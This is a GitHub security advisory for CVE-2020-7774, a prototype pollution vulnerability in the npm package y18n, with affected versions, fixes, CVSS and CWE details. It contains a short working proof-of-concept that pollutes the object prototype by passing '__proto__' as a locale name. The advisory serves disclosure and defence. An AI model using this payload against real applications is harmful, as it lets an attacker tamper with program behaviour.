GitHub Advisoryadvisory · npm

GHSA-c4w7-xm78-47vh Prototype Pollution in y18n

HIGH Published 2021-03-29 Modified 2023-09-07 Official page ↗
Aliases
CVE-2020-7774
Ecosystem
npm
Packages
y18n
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Weaknesses
CWE-1321, CWE-20, CWE-915
Reviewed
2021-03-12

Affected packages

• npm y18n: < 3.2.2 → fixed in 3.2.2 • npm y18n: >= 4.0.0, < 4.0.1 → fixed in 4.0.1 • npm y18n: >= 5.0.0, < 5.0.5 → fixed in 5.0.5

Description

Overview The npm package `y18n` before versions 3.2.2, 4.0.1, and 5.0.5 is vulnerable to Prototype Pollution. POC ```js const y18n = require('y18n')(); y18n.setLocale('__proto__'); y18n.updateLocale({polluted: true}); console.log(polluted); // true ``` Recommendation Upgrade to version 3.2.2, 4.0.1, 5.0.5 or later.

Related

Alias · CVE (1)

  • CVE-2020-7774 The package y18n before 3.2.2, 4.0.1 and 5.0.5, is vulnerable to Prototype Pollution. vulnerability

Weakness · CWE (3)

  • CWE-1321 Improperly Controlled Modification of Object Prototype Attributes weakness
  • CWE-20 Improper Input Validation weakness
  • CWE-915 Improperly Controlled Modification of Dynamically-Determined Object Attributes weakness

References